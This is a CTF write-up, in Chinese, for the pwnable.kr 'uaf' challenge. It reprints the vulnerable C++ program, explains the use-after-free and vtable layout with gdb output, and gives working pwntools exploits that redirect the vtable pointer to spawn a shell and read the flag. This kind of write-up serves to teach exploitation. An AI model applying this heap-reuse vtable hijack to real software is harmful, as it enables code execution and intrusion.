题目
Mommy, what is Use After Free bug?
ssh uaf@pwnable.kr -p2222 (pw:guest)
题解
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
C++ pwn, 类指针delete之后, 其实指针还在, 这样就构成UAF漏洞
同C的UAF漏洞, 构建循环链表, 重复利用类指针, 实现释放后的调用, 这里问题就在于需要申请回释放后的chunk之后, 修改对应的 virtual func 指针到get_shell()
需要一点C++逆向的知识, C++类调用virtual function其实是通过虚表进行, 这里看一下函数调用的汇编
(*(void (__fastcall **)(Human *))(*(_QWORD *)v12 + 8LL))(v12);
(*(void (__fastcall **)(Human *))(*(_QWORD *)v13 + 8LL))(v13);
可以看到virtual function调用就是从虚表指针加8之后的地址索引到对应的函数introduce()
, 是虚表中的第二个指针.
调试一下看看vtable的内容
Breakpoint 1, 0x0000000000400fd4 in main ()
(gdb) p $rax
$1 = 4199792
(gdb) x/2gx $rax
0x401570 <_ZTV3Man+16>: 0x000000000040117a 0x00000000004012d2
(gdb) x/5i 0x000000000040117a
0x40117a <_ZN5Human10give_shellEv>: push %rbp
0x40117b <_ZN5Human10give_shellEv+1>: mov %rsp,%rbp
0x40117e <_ZN5Human10give_shellEv+4>: sub $0x10,%rsp
0x401182 <_ZN5Human10give_shellEv+8>: mov %rdi,-0x8(%rbp)
0x401186 <_ZN5Human10give_shellEv+12>: mov $0x4014a8,%edi
(gdb) x/5i 0x00000000004012d2
0x4012d2 <_ZN3Man9introduceEv>: push %rbp
0x4012d3 <_ZN3Man9introduceEv+1>: mov %rsp,%rbp
0x4012d6 <_ZN3Man9introduceEv+4>: sub $0x10,%rsp
0x4012da <_ZN3Man9introduceEv+8>: mov %rdi,-0x8(%rbp)
0x4012de <_ZN3Man9introduceEv+12>: mov -0x8(%rbp),%rax
0x401570是虚表首地址, 里面包括两个函数的指针
0x000000000040117a get_shell
0x00000000004012d2 introduce
所以exploit只需要劫持vtpr到0x401570 - 8 = 0x401568即可调用get_shell
from pwn import *
s = ssh(host='pwnable.kr', port=2222, user='uaf', password='guest')
# context.log_level = 'debug'
# io = s.process(["./uaf", "24", "\x68\x15\x40\x00\x00\x00\x00\x00"])
io = s.process(["./uaf", "24", "/dev/stdin"])
def pwn():
io.sendlineafter("free\n", "3")
io.sendlineafter("free\n", "2")
io.send("\x68\x15\x40\x00\x00\x00\x00\x00")
io.sendlineafter('free\n', "2")
io.send("\x68\x15\x40\x00\x00\x00\x00\x00")
io.sendlineafter('free\n', "1")
if __name__ == '__main__':
pwn()
io.interactive()
但是远程get shell啥命令都用不了, 也是无语
改成服务器端的exp来打
from pwn import *
# s = ssh(host='pwnable.kr', port=2222, user='uaf', password='guest')
# context.log_level = 'debug'
# io = s.process(["./uaf", "24", "\x68\x15\x40\x00\x00\x00\x00\x00"])
io = process(["/home/uaf/uaf", "24", "/dev/stdin"])
def pwn():
io.sendlineafter("free\n", "3")
io.sendlineafter("free\n", "2")
io.send("\x68\x15\x40\x00\x00\x00\x00\x00")
io.sendlineafter('free\n', "2")
io.send("\x68\x15\x40\x00\x00\x00\x00\x00")
io.sendlineafter('free\n', "1")
if __name__ == '__main__':
pwn()
io.interactive()
上传执行, 期间可能会卡顿, 多pwn几次
uaf@pwnable:/tmp$ python exp.py
[+] Starting local process '/home/uaf/uaf': pid 404405
[*] Switching to interactive mode
$ cat /home/uaf/flag